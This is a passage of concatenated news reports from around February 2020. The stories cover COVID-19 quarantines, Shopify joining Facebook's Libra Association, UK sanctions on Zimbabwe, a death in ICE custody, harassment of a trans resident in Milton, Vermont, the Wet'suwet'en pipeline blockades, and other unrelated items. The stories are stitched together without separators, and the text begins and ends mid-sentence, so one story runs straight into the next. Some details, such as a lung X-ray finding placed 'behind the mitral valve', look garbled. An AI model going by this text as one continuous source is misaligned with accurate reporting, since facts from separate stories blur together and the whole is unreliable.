symptoms could slowly worsen over several days. 'Both these individuals will be taken into their hospital systems ... to see whether or not they're going to improve or deteriorate,' she told reporters. 'Then their own health systems have systems in place to manage the Covid-19 infected patients.' Some 170 Australians, most aged in their 60s and 70s, will be quarantined for two weeks after leaving the coronavirus-hit Diamond Princess cruise ship in Yokohama. Meanwhile, Australia has extended its ban on foreign travellers from China for another week as the number of infections and deaths in the coronavirus epicentre of Hubei province continues to grow. The Diamond Princess cruise ship with some 3,700 people on board arrives at Yokohama port Medical personnel outside the quarantine zone in front of the Diamond Princess cruise ship. The boat now hosts the largest concentration of coronavirus outside of China The government is reportedly considering easing the ban for students. Prof Murphy said it was up to the government to consider the risks and benefits of doing so. 'At the moment our advice is that it should be maintained and reviewed in the next seven days,' he said. Prime Minister Scott Morrison has ruled out compensation to tourism operators and universities hit by the travel ban. 'Coronavirus' impact is right across the country,' he told reporters on Friday. 'The taxpayer ... is not an insurer for these things.' Shopify Inc. has joined a controversial, Facebook Inc.-led group working on a worldwide digital currency even after technology and financial services heavyweights have fled the high-profile association. In a post on its website and in tweets from Shopify chief executive Tobi Lutke on Friday, the Ottawa-based e-commerce company revealed it has become a member of the Libra Association, a non-profit organization Facebook co-founded to act as an authority for the currency. We spend a lot of our time thinking about how to make commerce better in parts of the world where money and banking could be far better. Thats why we decided to become a member of the Libra Association, Shopify said in its post. This is one step, but not the only step well be taking to be a part of the solution to this global problem. The Switzerland-headquartered Libra Association is made up of a mix of technology companies like ride-sharing giants Uber Technologies Inc. and Lyft Inc., digital currency exchange companies including Coinbase Inc., venture capital groups and even academic-backed entities like the Canada-based Creative Destruction Lab. The cryptocurrency they will oversee will be called Libra. Facebook has created a subsidiary called Calibra to keep the crypto operations separate from its other endeavours. Shopify will help the Libra Association build a safe, transparent, and consumer-friendly implementation of a global payment system that breaks down financial barriers for billions of people, said Libra Associations head of policy and communications Dante Disparte, in a statement to The Canadian Press. Shopifys membership comes at a troublesome time for the association. Payment and e-commerce companies Visa, Mastercard, eBay, Stripe, PayPal and Mercado Pago all backed out of the association in recent months, amid privacy and security concerns and calls for more clarity and oversight from regulators. Facebook founder Mark Zuckerberg has been forced before the U.S. House Financial Services Committee to be grilled about the currency and at a U.S. House of Representatives hearing, Democratic representative Brad Sherman of California reportedly called the Libra a powerful burglary tool. The European Commission has meanwhile said in a memo that Libra lacks detail and the information it has received on the currency remains insufficient. Facebook once said it planned to have 100 member organizations by the time it planned to launch in 2020. The Libra Associations webpage currently only shows 20 founding members. Lutke used Twitter on Friday to defend Shopifys decision to join the platform. We like to make decisions based on future potential instead of heard movement, he tweeted to someone on the platform who asked about the controversy. Funnily enough this usually leads to us doing the opposite of the others. Lutke noted that Shopify already supports cryptocurrencies, but said there isnt any demand to use it by buyers right now though. Jean-Philippe Vergne, a Western University associate professor of strategy who has been researching cryptocurrency since 2014, said Shopify should pay close attention to the impact being connected to Facebook has on its brand, given some of Libras recent troubles. Facebook has been involved in a lot of controversy lately ranging from politics to data to privacy to their business model. Facebook comes with a reputational risk for any company, so Shopify is taking that risk, he said. The other risk is being affiliated with a country whose government or regulator or central bank is speaking against the Libra initiative because it is a private currency that competes with national and state currencies. Despite the risks, Vergne said he thinks this is a wonderful opportunity for Shopify because it can use the membership to further challenge e-commerce heavyweights. Shopify is currently trying to compete with Amazon.com Inc. by rolling out a network of fulfilment centres to help U.S. merchants lower shipping costs and ensure timely deliveries. A lot of companies who were in comparable segments as Shopify have already left (Libra) and are U.S. companies, so that means there is now a lot of space for Shopify to occupy in this niche of powering e-commerce, Vergne said. This report by The Canadian Press was first published Feb. 21, 2020. Companies in this story: (TSX:SHOP) Britain, which has exited the European Union (EU), has adopted the 27-member groupings targeted sanctions against former colony Zimbabwe. London announced Thursday it has renewed by a year, restrictive measures against the Zimbabwe Defense Industries (ZDI) and maintains four people on the inactive sanctions list. The arms embargo against the ZDI remains in force. Restrictive measures against former Zimbabwean strongman, the late former President Robert Mugabe have been removed. A statement from the British Treasury Office of Financial Sanctions Implementation read in part, The following has been removed from the consolidated list and is no longer subject to an asset freeze: Robert Mugabe. The British noted in the statement that the following entry has been suspended and is no longer subject to an asset freeze, Grace Mugabe Grace Mugabe has been added to Annex IV, alongside 3 already suspended designated persons. Those on the inactive list or suspended designated persons since 2014 are Vice President Constantino Chiwenga, Zimbabwe Army Commander Valerio Sibanda and Agriculture Minister and former Air Force chief, Perrance Shiri. Zimbabwean Foreign Affairs Minister, Sibusiso Moyo, has called on the West to completely remove the sanctions. Human Rights Watch director for Southern Africa, Dewa Mavhinga, says Zimbabwe still has an opportunity to normalize ties with former colonial power, Britain. Even before the Brexit, London had already drafted regulations to maintain sanctions on Harare after relations with President Emmerson Mnangagwa soured after the Zimbabwe National Army allegedly gunned down six opposition supporters, who were protesting the delay in releasing the results of the 2018 elections. The sanctions were first imposed on Harare by the EU in 2002 over allegations of electoral fraud and gross human rights abuses. Arudra, the woman who held up a placard in support of liberation for Kashmir. Bengaluru: Less than 24 hours after a student activist Amulya Leona stunned a rally against the Citizenship Amendment Act (CAA) by shouting Pakistan Zindabad slogans, another Bengaluru woman was another for holding up a placard demanding liberation for Kashmir. The incident took place at Town Hall in Bengaluru where various Kannada organisations had called for a protest against the CAA on Friday. Taking part in the protest, the young woman, named Arudra, held up a placard supporting liberation for Muslims, Dalits, Kashmir, Bahujan, Adivasis, and Trans people. Policemen posted to the protest detained her and took her to the Sampangiramanagar police station. While police claimed that Arudra is a Facebook friend of Amulya Leona, the woman is said to have denied any connection with Amulya. Arudra is said to be a student of a college in Malleshwaram. Additional commissioner (West) Soumendu Mukherjee came down to interrogate the student activist. DCP Central Chetan Singh Rathod stated that the police have slapped cases under IPC sections 153 A 2 and 153 B. She has been taken in for medical tests. The investigation is going on. CLEVELAND, Ohio A Mexican man in the custody of U.S. Immigration and Customs Enforcement died Thursday in an apparent suicide at a private Youngstown prison, authorities say. Guards at the Northeast Ohio Correctional Center found the 34-year-old man unresponsive in his cell after he strangled himself, according to a news release ICE put out Friday. Guards and emergency personnel unsuccessfully tried to revive the man, who lived in Michigan. Khaalid Walls, a spokesman for ICE in Detroit, said in an email that the death is the first time someone in the agencys custody has died in the office for the region, which covers Ohio and Michigan. A spokeswoman for the Nashville-based CoreCivic, which owns the prison, deferred to ICE for comment. Buzzfeed News first reported Thursday a death in ICE custody, though the story initially did not include details or a location. The story said the death is the seventh in ICE custody in the current fiscal year, which began in October, and that it happened as the agency is scrutinized over complaints that it does not provide adequate medical care to those in its custody. The scrutiny comes as President Donald Trumps administration continues arresting large numbers of people suspected of being in the U.S. illegally. The 34-year-old mans death also comes a little more than a week before the end of ICEs contract with CoreCivic. The federal government has used the Youngstown prison since late 2016 and announced earlier this month that it was moving all remaining inmates to other facilities. Ten detainees remain in the immigration wing at the prison, Walls said. An inspection done for the federal government by The Nakamoto Group in March 2019 said the prisons immigration wing met all required standards, though one of the areas it said prison staff should improve upon involved suicide prevention programs. The man had been in ICE custody since Dec. 6 following his arrest on an outstanding warrant in Michigan, ICE says. Agents booked him into the Youngstown prison four days later. U.S. Border Patrol arrested him in December 2014 in Rochester, New York but authorities released him on bond after four days while he awaited the outcome of his removal proceedings, according to ICE. The release says that the Department of Homeland Securitys inspector general and ICEs Office of Professional Responsibility were notified, as well as the Mexican consulate and the mans next of kin. ICE is firmly committed to the health and welfare of all those in its custody and is undertaking a comprehensive agency-wide review of this incident, as it does in all such cases, Walls wrote. Fatalities in ICE custody, statistically, are exceedingly rare and occur at a fraction of the national average for the U.S. detained population. ICE entered into a contract with CoreCivic in late 2016 for beds at the Youngstown prison. At the time, President Barack Obamas administration was preparing for an expected influx of Haitian refugee seekers. The initial contract was only for a few months, though ICE continued to use the prison. Officials said in May that the agreement allowed for up to 352 detainees to be housed in pods at the prison and that an additional 60 detainees could be housed temporarily on emergency beds. ICE officials said this month in announcing the end of its contract that the Northeast Ohio Correctional Center was never meant to be a permanent ICE detention location. Immigration advocates have complained about problems theyve heard about from inside the prison walls, from denial of religious services to poor food quality. Detainees also told their attorneys last year that they felt their wing was overpopulated. However, immigration attorneys have said the prison doesnt have many of the problems seen at other private facilities and locations nationwide. The Youngstown prison also houses defendants awaiting trial in federal court and inmates serving state prison sentences. It operated as a federal prison for about a decade, though the Federal Bureau of Prisons declined to renew its contract in late 2014. If you would like to comment on this story, please visit Fridays crime and courts comments section. Read more: ICE to stop housing immigrant detainees at private Youngstown prison Immigrant inmates at Youngstown prison complain of crowded conditions Trumps immigration policies mean big bucks for company that owns private Youngstown prison Homeland Security seeks space at private Youngstown prison to hold undocumented immigrants Private prison in Youngstown to stop housing inmates in May after losing federal contract Washington: The Trump administration has criticised China's decision to expel three Wall Street Journal reporters - including an Australian journalist - for what China claims was punishment for a racist headline on an opinion article. Philip Wen, the former China correspondent for The Sydney Morning Herald and The Age, was among the reporters whose credentials were revoked and who were ordered to leave the country within five days. The decision came just a day after the US State Department designated five state-owned Chinese media outlets as "foreign missions", which requires them to provide more information to the US government than other foreign media outlets. This requires the outlets to provide details of their US-based employees to the government and notify the government of any property holdings. The tit-for-tat over journalism represents a new source of tension for the two superpowers, adding to the disputes over trade barriers and technology. Wayne Besant, CEO of AIA Vietnam, at a press conference on the product launch. Unlike other life insurance products, "Healthier 100" is designed to provide financial support to customers against health risks from the early stages of cancer, with an advanced benefits option. The product aims to address the increasing rate of cancer in Vietnam. Accordingly, customers will be assisted financially when diagnosed with early-stage cancer, localized carcinoma, serious cancers as well as 23 other serious diseases at early stage and 45 at serious level. Besides young customers, middle-aged and elderly groups are also covered, with the risk of cancer in the latter two groups up to 70.38 percent, according to online scientific site ourworldindata.org. Thus, "Healthier 100" extends coverage to 100 years of age. In addition, when participating in "Healthier 100", customers can actively choose payment periods of 12, 15, or 20 years. "Healthier 100" provides 100 percent cancer protection (with advanced benefit options, depending on degree and stage of cancer). Coverage remains the same regardless of payment length. The press conference attracted many guests to attend. AIA Vietnam also provides customers free-of-charge call center assistance with doctors consulting on cancers and serious diseases while related staff answering questions on claiming insurance benefits. There is no such thing as overprotection when it comes to your and your familys health. Health protection must be 100 percent, especially from cancers and several other serious diseases. This is the message AIA Vietnam wants to share with its customers via its new "Healthier 100". "As a business operating in the insurance field, we believe there is always a solution for every incident in life, especially in terms of finance and health. Today, along with the increasing development of medicine, the sooner the cancer diagnosis, the higher the survival rate. That is why AIA Vietnam introduced "Healthier 100" to help customers with financial resources to treat cancer and serious diseases from an early stage," said Wayne Besant, CEO of AIA Vietnam. According to World Health Organization statistics, Vietnam reports nearly 165,000 new cases of cancer each year, with the number of deaths increasing to 115,000, equivalent to nearly 70 percent. The high cost of treatment and late diagnosis are the main causes behind increasing mortality. Over 300,000 Vietnamese between 15 to 70 years-of-age are struggling with cancer each year. It is forecast the number of new cancer cases in Vietnam would reach 200,000 by 2020. The cancer incidence rate in Vietnam is not high compared to other countries, though the associated mortality rate is - at about 104.4 in every 100,000, ranked 56 among 185 countries and territories. The leading cause of the increased rate of death from cancer is late diagnosis. Published data from the Vietnam National Institute for Cancer Control shows about 70 percent of Vietnamese cancer patients are diagnosed at the terminal stage, making it difficult and costly to treat, reducing the opportunity to prolong their lives. Individuals paying medical expenses on their own will also have their life quality affected. Thus, in addition to cancer screening, a key plan is needed to limit the negative financial impact on patients. Iain Dale presents the evening show on LBC Radio and is a commentator for CNN. Congratulations to Jackson Carlaw for becoming leader of the Scottish Conservative Party. Its without doubt one of the most demanding jobs in British politics. And what an act he has to follow. When Ruth Davidson became leader of the party in Scotland, no one rated her chances of success. She was a rookie. A political knave. She lacked experience. Well, everyone was wrong. She was an outstanding success who grabbed the party by the scruff its neck and gave it a good shake. She took the Conservatives to a level of electoral representation they had previously only dreamed of. Their opinion poll ratings are still far higher than anyone could have expected at the time. So Carlaw starts his tenure with a fantastic legacy. He may not have the charisma of Davidson, but hes a formidable debator and operator and like his predecessor, her should not be underestimated. If I were him, Id do two things. Firstly, do everything to go after the Labour unionist vote and, secondly, articulate the case for the Union better than anyone else. Its no good just slagging off the SNP or just undermining their case; Unionists need to win hearts and minds by being positive about Scotlands role in the UK. And I say this as someone who not wholly opposed to independence for Scotland. Whatever you think about Priti Patels new immigration policy, I do not understand why a succession of Government ministers have not been not flooding the nations airwaves explaining how the new system is going to work, and why its right for the country. All we had yesterday was Patel doing a morning round excluding The Today Programme and Good Morning Britain, natch. The media world has changed. There are many more outlets now, and they all need to be serviced. The Home Office has seven ministers. They should all have been out there selling the policy on any show that would have them. Instead, so far as I know, only Patel did any interviews at all (though I stand to be corrected). If Ministers arent going to explain their policies on the nations airwaves, who do they think will do it for them? Message discipline is all very well, but there has to be someone to promulgate that message. Hands up if youve read David Frosts speech in Brussels. If not, do yourself a favour and do so. Future historians will look back on it and regard it as just as significant as Margaret Thatchers 1988 Bruges speech. ts actually a speech that Boris Johnson should have made, and quite why cameras werent allowed to film it, God only knows. It articulated the Governments plans for a post-Brexit Britain better than anyone else has done. It set down its approach to the free trade deal negotiations in a way that that no one could misunderstand. It set some red lines which Brussels will actually believe we wont cross. And if they dont believe in them, well, yet again they may be in for a big surprise. Barnier and his little helpers are tying themselves up in knots with their utter hypocrisy over their about turn on offering us a Canadian-style deal, and they think we cant see it. Its obvious that both sides do a lot of chest-beating at the start of any negotiation, so this one is no different. There will be an element of compromise on both sides but one thing I dont see Johnsons government compromising on is the notion of regulatory alignment. If Britain doesnt have the right to make its own laws after Brexit and is obliged to mirror EU legislation, despite having no input into its drafting, we might as well not have left. That doesnt mean that regulatory equivalence on some (but not all) issues isnt something that we shouldnt consider. One other red line that must not be crossed is the arbitration method for resolving disputes. This cannot involve the European Court. The EU has arbitration methods with Canada and Japan which do not involve the supremacy of the European Court. Canada wouldnt stand for it. Japan wouldnt stand for it. Nor will we. The grandstanding of Barnier on proximity demonstrates their fear that Britain will outcompete the EU on the world stage. And they will use any means fair or foul to prevent that from happening. Reading David Frosts speech, it is clear to me that he understand that. This site has the full text of David Frosts speech. Its well worth your time reading it. Once youve done so, spread the word on social media about its brilliance. MILTON, Vt. A red car swerved onto a collision path with a boy biking near his home. It pulled away at the last moment. The 12-year-old saw that same car one day earlier, according to the October police report. The driver, a male with a scruffy beard, maybe in his early 20s, had flipped him the finger as he passed. Two years earlier, his family's movie night was interrupted by popping sounds. By the time they realized what was happening, more than 100 paint balls had been fired at the Doners' home. They'd hung a Black Lives Matter flag by the front door months earlier. The paint balls were blue. Those are several of the actions targeting the Doner family that are documented in police reports obtained by the Free Press. They serve as ugly reminders that despite its crunchy, progressive reputation intolerance of one type or another also exists in Vermont. That intolerance runs the gamut from abusive social media posts to acts meant to intimidate and frighten, carried out the dark of night. The Doner family has experienced both. Quinn Ember Doner identifies as a non-binary trans woman, who uses the pronouns they/them. Doner supports the Black Lives Matter movement, LGBTQ rights, and other progressive causes. Quinn Doner of Milton holds up what is left of their family's Black Lives Matter flag that was ripped down from the front steps of their home in November 2019. It's not the first time they've been vandalized and, Doner suspects, it also won't be the last. Doner identifies as a non-binary trans woman, who uses the pronouns they/them, supports the Black Lives Matter movement, LGBTQ rights, and other progressive causes. Doner believes they've been targeted for the flag and for their gender identity. 'Unnerving' comments on Facebook Someone took a photo of Doner at a 2018 gun-control rally in Montpelier. It showed up on the Vermont Parents for Gun Rights Facebook page, showing Doner smiling and holding an anti-gun poster that read "F*ck this Sh*t" with the letter "u" replaced by a drawing of a flower and the "i" with a drawing of an assault rifle. The photo post on the pro-gun groups page has more than 40 comments. Scathing letter: George Soros calls for Zuckerberg, Sandberg to step down from Facebook Some raise serious arguments about gun ownership rights. Many more contain fairly benign, teasing or just crude insults. But a handful of comments are much more disturbing. Story continues "Smash on site," said one Facebook commenter of the photo of Doner. "Waste of good air," another stated. Shown in this Milton Police Department report, a comment describes specific details of the Doner family's home address on the Vermont Parents for Gun Rights Facebook page. The photo of Quinn Doner was taken at the March for Our Lives rally in February 2018 in Montpelier and was universally ridiculed because Doner supports gun control. It is unclear who took the photo or who posted it to the group's page. One person went as far as to comment about where Doner lived, including the street, a detailed description of the two flags that hung out front, and even that the family bought the residence through Habitat for Humanity, an affordable housing program. "That was a little unnerving," Doner said. The family decided to call police, afraid of what might come next. Milton police tried to talk to the commenter, but were unsuccessful in making contact, they said. Though a concern to authorities, the act by itself didnt break any laws. Doner has been the target of abusive comments on other various Facebook posts as well. They've been called a "freak," a "thing," and "mentally ill." In December 2018, the Doner home was shot with more than 100 blue paintballs. Quinn Doner believes the act was in response to a Black Lives Matter flag hanging outside the family's Milton home, which has been stolen twice. The Free Press contacted one of the administrators of the Vermont Parents for Gun Rights Facebook page who identified herself as Liz Mason. "We don't condone such comments," she said via messenger of the comments made on the Doner photo post on the group's page. "But we also support the bill of rights. Freedom of speech is included in that." After the photo was posted, Doner messaged the Facebook group and asked that it be removed. "I'm sorry you don't like your photo being blasted on the internet," was the response from an administrator. The photo remained as of the publication of this story. 'Most people in Milton are good people' Doner is a substitute teacher in Milton and goes by the gender-neutral title of Mx. at school. They also frequent school board meetings and had strong opinions during the 2016 Black Lives Matter flag raising debate at the high school. All of this had made Doner easy to recognize. When Doner walks around town, sometimes people passing by in a car will shout obscenities at them. If the insults are bad enough, Doner jokes that they give them the finger in response. "I got beat up plenty," said Doner of growing up in Enosburg Falls, about a 40 minutes north of Milton in Franklin County. "This has never been a kind state if you are different." A vehicle swerved into the path of Quinn Doner's son while he was biking near his home, described in this complaint to the Milton Police Department obtain through a Freedom of Information Act request. Doner, now 51, jokes that back then the bullies thought they were gay instead of trans, not that it would have mattered much. As for the shouts from passing cars now, Doner tries to laugh that off, but behind the humor lies a deep-seated fear that, at some point, those insults could turn into acts of violence. "I will watch my back I suppose," they said. Most of the more than 10,000 residents in town are happy to leave well enough alone when it comes to each others' personal choices or political views. Incidents like the ones impacting the Doner family are rare, according to Milton Police Chief Stephen Laroche. He believes the people behind the incidents at the Doner home are few. But even still, he is deeply troubled by what they've endured. This isnt what our community is all about. he said, adding that this is the first time in his memory that something like this has gone on in town. "Most in Milton are good people," Doner said. One grandmother brought the family cookies when they put up the Black Lives Matter flag, they said. A business next door to the Doners home provided their security camera footage to the police after the last flag vandalism in November, but the quality and the angle of the video allowed any would-be suspects to remain uncaught. But Chief Laroche is far from giving up. He hopes that someone in Milton knows who is behind the acts and will do the right thing and come forward with information. So far, no one has been charged. Couple whose Trump flag was torn down empathizes Gus and Annmarie Klein of Burlington woke in 2018 to find their flag pole toppled and their Trump flag left smoldering on their front step. Gus Klein later told the Free Press that they were lucky the house didnt catch fire while the couple slept. It could have gotten ugly, he said. The Kleins are arguably as opposite the Doners as you can get politically. The Kleins support President Donald Trump as much as Doner opposes him. Despite this, when it comes to freedom of speech or expression, especially on one's own property, the Kleins say no one should experience what the Doners have. Thats their home, their personal lives, their beliefs. ... Its just wrong, Annmarie Klein said in a phone interview with the Free Press about what the Doner family experienced. Its their identity, it's a violation of them personally. I wish I could give them all a hug right now." Shame of anyone so full of hate, said Gus Klein, a veteran of the Vermont National Guard with two Bronze Stars for service in Iraq and Afghanistan. Doner doesn't approve of what happened to the Kleins. But they are quick to point out that what is happening in Milton is quite different. For starters, the culprits behind the Kleins' burnt Trump flag, two teenage kids, were identified. Burlington police released a statement that the parents of the two teens helped in the investigation. Doner acknowledges that the vandalism of the Kleins' flag could have become deadly but noted that the police investigation revealed there was no intent to physically harm the Kleins. "If I get killed it's not going to be an accident," Doner said. Vandals still at large. Facebook comments legal. "Social media has complicated things over the years," said Chittenden County State's Attorney Sarah George, who admitted that she's completely abandoned using Facebook personally due to the ugliness of comments made there, although her office holds an account for professional use. George looked over the comments leveled at Doner's photo on the Vermont Parents for Gun Rights Facebook page and shook her head. But there is little state law can do about it, she said. Quinn Doner of Milton, a trans woman who uses the pronouns they/them, believes they've been targeted because of their gender identity. That's because Vermont's primary tool for his kind of issue is a statute first created in 1967. The first part of 13 V.S.A. 1027, known as "Disturbing peace by use of telephone or other electronic communications" starts off with: "A person who, with intent to terrify, intimidate, threaten, harass, or annoy, makes contact by means of a telephonic or other electronic communication with another and makes any request, suggestion, or proposal that is obscene, lewd, lascivious, or indecent; threatens to inflict injury or physical harm to the person or property of any person; or disturbs, or attempts to disturb, by repeated telephone calls or other electronic communications, whether or not conversation ensues, the peace, quiet, or right of privacy of any person at the place where the communication or communications are received shall be fined not more than $250.00 or be imprisoned not more than three months, or both." "It requires that it be directed at that person," said Deputy State's Attorney Sally Adams of any threat or comment that could be acted on by law enforcement. And that's where social media by and large gets around the law. Adams recalled a case where a threat was made on a social platform, that it was obvious who was being threatened, but because that threat wasn't explicitly communicated to the subject, it didn't meet the requirements of the law. "It's unfortunate because it clearly was a horrible threat" she said. "But it wasn't a threat that was communicated to that person, and that's the issue." Despite being updated in 1999 and again in 2013, George thinks the legislature needs modify the law further to address social media, but how is a big question. Something like H.496 might help, introduced in 2019 after Vermont state Rep. Kiah Morris of Bennington, who is African American, resigned, citing what she described as targeted harassment by Max Misch, a self-described white nationalist. But that bill is a long way off from becoming law. According to one of its sponsors, Rep. Martin LaLonde, the bill is under major revision. It received pushback from racial justice proponents and even Morris herself for not having enough input from the communities it was trying to protect. LaLonde pointed out that trying to create a law that protects a victim from the hate speech or bias while preserving freedom of speech is no easy task. "That's what we are trying to figure out," he said. For now, a legislative solution that would give law enforcement and state prosecutors a better tool seems far off. As for the vandals, Doner hopes that the police will catch them. When asked whether they would just take the Black Lives Matter flag down, Doner said it's too late for that now. "That's exactly what these kinds of people want us to do ... to take it down," Doner said. "We didn't even mean to have it up forever ... then when people lashed out so vehemently, now we can't take it down." Follow Ryan Mercer on Twitter: @ryanmercer1 This article originally appeared on Burlington Free Press: Trans person in Milton, Vermont, faces Facebook threats and vandalism On February 6, having developed a cough, a blood test showed the baby girl had caught the virus. She was brought to Vietnam National Childrens Hospital five days later with a fever of 37.5 degrees Celsius, a runny nose, and raised leukocyte levels. An X-ray report revealed bronchial lesions behind the mitral valve. Her grandmother was initially infected by one of eight workers returning from training in Wuhan on January 17. On January 28, both the baby and her mother were quarantined after visiting their aged relative in Binh Xuyen District of northern Vinh Phuc Province. If there was any doubt about the moribund state of the two-state paradigm in Palestine, the unveiling of the White Houses peace plan last month has put that doubt to rest. The deal of the century, put together by Jared Kushner and Jason Greenblatt in close cooperation with Israels Prime Minister Benjamin Netanyahu and the American ambassador to Israel David Friedman, is not a peace plan but a take it or leave it fiat imposed on the Palestinians. The feeble and ailing Palestinian President Mahmoud Abbas was told in no uncertain terms by Kushner that its either Kushners way or the highway. Kushners plan is widely interpreted outside Israel and the White House as a poor facsimile of the colonial plan almost a century ago to establish Western and Zionist hegemony over Palestine with no regard for the political and human rights of the native Palestinian population. The plan upends decades of diplomacy and legally rooted international support for two states in Palestine under UN Security Council Resolutions 242 and 338. To many, Trumps peace document comes across as more of a political treatise driven not by a sincere desire for peace in the Holy Land but by the cynical calculations of domestic politics. Plan favors Israel Critics see the document as one-sided favoring Israel over the Palestinians on every major issue. For example, the plan places no restrictions on Israel regarding the annexation of parts of the West Bank other than to wait until after the March 2 Israeli elections. By contrast, the plan envisions a Palestinian state with limited political and territorial sovereignty. It gives Israel the sole right to retake military control of the Palestinian areas and the full responsibility for security at all international crossings into the State of Palestine. The plan places the Temple Mount and Al-Aqsa Mosque under Israeli sovereignty and rejects Palestinian control of Islams sacred sanctuary of Haram al-Sharif. What this means As expected, the Palestinian National Authority, PA, in Ramallah has rejected the plan outright. Abbas has already indicated he is in the process of halting all intelligence and security cooperation with Israel. If this happens, the Israeli military will begin to assume a more visible role in areas A and B that were assigned to the authority under the Oslo accords back in 1993. Most Arab leaders didnt want to snub Trump, but at the same time they refrained from endorsing his peace plan. His most ardent supporters among Gulf Arab regimes have praised his effort but not the actual plan. A silver lining? The Trump plan is a requiem to the two-state paradigm, but it also contains a silver lining for the region. The plan forces Arabs and Palestinians to face up to their decades-old hypocrisy about Palestine and the Palestinian cause. For years, many Arab leaders have extoled the Palestinianism of the conflict and their Palestinian brethren but refused to grant Palestinians visas to visit or work in Arab countries. They are no longer preoccupied with Palestine, which is receding to the back burner of Arab politics. The aging Palestinian leadership has always claimed the two-state solution is the only way forward for the envisioned state, but more and more of them have come to believe such a fully sovereign state is unattainable. Yet, because of the inflow of hundreds of millions of dollars in aid from foreign donors, PA leaders continued to mouth the two-state mantra. Israeli right-wing governments and politicians have also made sure the two-state paradigm never materializes. Israeli settlements continue to expand, with nearly half a million settlers inhabiting the area today. This policy plus Arab hypocrisy have rendered the two-state solution a pipe dream. Furthermore, Arab lethargic reaction to Trumps decisions to declare Jerusalem as the unified capital of Israel, to move the U.S. embassy from Tel Aviv to Jerusalem, to support Israeli sovereignty over the settlement blocs in the occupied West Bank, and to stop referring to the West Bank as occupied territories has signaled to the Palestinians and to Arabs at large that Arab regimes are no longer preoccupied with Palestine. Beyond the Arab world, Muslim leaders continue to view the Haram al-Sharif as the third holiest shrine for Islam after Mecca and Medina. Yet they, too, made it very clear years ago they would not go to war against the Jewish state over Jerusalem or the Al-Aqsa Mosque. The path forward Arab and Palestinian leaders should stop the two-state charade and move toward a new paradigm of dignity and basic freedoms for the Palestinian people as human beings. The PA should dissolve itself, recognize the failure of the Oslo accords and ask Israel to re-enter the areas currently under the PA control as a formal occupying power, much like the old British mandate in the early 1920s. Arab leaders and the international community should demand Israel grant the millions of Palestinians under its control Israeli identity cards and guarantee them basic human rights and freedoms. If the Palestinian people are denied their basic human rights, Israel will devolve into an apartheid state and be viewed as such by the international community, including Western countries and many American citizens. This is the only positive perspective I see about the White House peace plan. Emile Nakhleh is research professor and director of the Global and National Security Policy Institute at UNM and a former senior intelligence service officer at the CIA. A longer version was published on ResponsibleStatecraft.org. Photo: The Canadian Press Minister of Public Safety and Emergency Preparedness Bill Blair Traditional chiefs from British Columbia at the heart of the Coastal GasLink pipeline protest are now in eastern Ontario, where federal cabinet ministers hope their proximity to the capital might mean a chance to sit down and talk about de-escalating the current impasse. Blockades raised by Indigenous people and other supporters of the Wet'suwet'en First Nation's hereditary leaders have stopped rail traffic in eastern Canada and temporarily blocked roads, bridges and ports across the country. The Wet'suwet'en's hereditary chiefs oppose the pipeline that would bring natural gas to a liquefaction facility and export terminal on the B.C. coast. But others in the community do support the project, including 20 First Nations bands along the route that have signed agreements with Coastal GasLink. On Thursday, RCMP in B.C. sent a letter to the hereditary chiefs saying the force intends to move its officers out of the territory and station them instead in the nearby town of Houston. Public Safety Minister Bill Blair said he believes this move meets conditions set by the Wet'suwet'en hereditary chiefs, who have been calling for the RCMP to leave. "I believe the time has come now for the barricades to come down," Blair said. "We have met the condition that those who are on the barricades had said was important to them before they would change their posture, and that work has been done, and I think quite appropriately." Countrywide protests and blockades followed a move by the RCMP to enforce a court injunction earlier this month against the hereditary chiefs and their supporters, who had been obstructing an access road to a Coastal GasLink work site. Twenty-eight people were arrested, including one hereditary chief. The chiefs have demanded the RCMP leave their traditional land and have refused to meet with federal or provincial officials until this was done. Prime Minister Justin Trudeau is under increasing pressure to end the blockades, with Conservatives calling for the government to use force, while the Liberal government insists negotiations are the only way to a lasting solution. Blair said the decision to move officers away from their outpost on the traditional Wet'suwet'en territory was a decision made by the RCMP in B.C., not by politicians, although he was quick to say he believes it was the right move. "It's moving towards a less confrontational and a more peaceable arrangement entirely appropriate to the circumstances, and I'm very hopeful that will satisfy the concerns that were raised," he said. Trudeau spoke with premiers Thursday in a call with the Council of the Federation to discuss the disruptions to infrastructure caused by the blockades and how they are affecting farmers, businesses, families, and workers. The Prime Minister's Office said Trudeau highlighted that the government is looking at options to end the blockades as quickly as possible and reaching a peaceful and lasting resolution that builds trust and respect among all parties involved. It said the federal government is working closely with the B.C. government and will continue working closely with all the premiers. "Prime Minister Trudeau noted the RCMP's offer to withdraw its operations from Wetsuweten territory, and the ongoing offer made by Minister of Crown-Indigenous Relations Carolyn Bennett to meet with Wetsuweten hereditary chiefs to address both urgent and longer term issues, following the Prime Ministers letter to them," the readout of the call says. Four Wet'suwet'en hereditary chiefs have travelled east and are expected to meet with members of the Mohawk Nation in Quebec and Ontario to thank them for supporting their cause with their solidarity protests. Mohawks at Tyendinaga, between Toronto and Montreal, have blocked a critical rail line, cutting both freight and passenger traffic with coast-to-coast ramifications. A gathering is being held Friday at Tyendinaga, where the Wet'suwet'en chiefs are to be welcomed and "political issues" discussed. Police are investigating after a parish secretary was "viciously assaulted" at a parochial house in Ballymena. Kirkinriola Parish Priest Fr Paddy Delargy said the attack took place at the house, beside All Saints Church on the Broughshane Road, at around 4pm on Thursday. Fr Delargy said the attack took place when the secretary responded to a knock at the door. He told Ballymena Daily that she opened the door to a man who was "very agitated" and demanded money. After the woman referred him to the St Vincent De Paul charity he attacked her, before she was able to get away and close the door. Damage was also caused to a table and flower pots outside the church. He seems to have struck her, there was no doubt about that, but then she was able to get inside and then he started flinging things about and he took pots of flowers and threw them all over the place and he took a table and smashed the table," Fr Delargy said. The parish priest said that the woman was "very distressed" by the incident and that it had now been reported to police. Fr Delargy said the woman had worked for the church for a number of years and that while she was now safe at home, he was concerned she would be "deeply disturbed" by the incident. People seem to be desperate and they come under the guise of getting some sort of advice or assistance and then they behave badly. We hope the man is able to hand himself into the police and the whole thing can be resolved very quickly that would be fine. I also hopes he gets help," he said. The man is described as wearing a black beanie hat with a white patch on the front, a black jacket with white stripes at the cuffs, blue jeans and brown boots and was riding a black mountain back. The church have CCTV pictures of the individual. Police appealed for any witnesses or anyone with dashcam footage to come forward. "Were you in the area? Did you see anything suspicious?," a PSNI spokesperson said. "We are particularly keen for any information in relation to a male described as wearing a black coat, possibly with black adidas jacket underneath, blue Jeans, brown boots, a scarf and a black beanie hat riding a black bicycle. "If you believe you have any information you can contact police on 101 quoting reference 1244 20/02/20." They almost finalized a deal with the insurgents last summer that would have pushed 